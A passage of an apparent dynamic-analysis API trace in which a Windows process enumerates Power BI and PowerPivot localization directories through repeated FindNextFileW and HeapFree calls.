	[0079.288] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.288] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0079.291] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.291] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0079.294] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.294] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0079.297] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.297] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0079.300] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.300] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0079.302] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.302] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0079.305] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.305] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0079.308] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.308] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0079.310] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.310] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0079.313] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.313] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0079.792] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.792] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1
	[0079.796] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.796] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0079.801] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.801] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0079.803] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.803] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0079.807] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.807] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0079.811] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.811] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0079.813] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.813] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0079.817] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.817] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0079.820] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.820] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0079.822] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.822] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0079.828] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.828] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0079.829] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0079.829] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0079.830] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1
	[0079.839] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.839] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0079.848] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.848] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0079.853] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.853] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1
	[0079.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.855] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0079.860] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.860] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0079.865] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.865] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0079.870] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.870] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0080.053] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.053] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1
	[0080.055] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.055] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0080.059] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.059] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0080.064] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.064] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0080.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.069] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0080.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.075] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0080.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.079] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0080.084] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.084] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0080.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.087] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0080.091] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0080.091] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0080.094] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
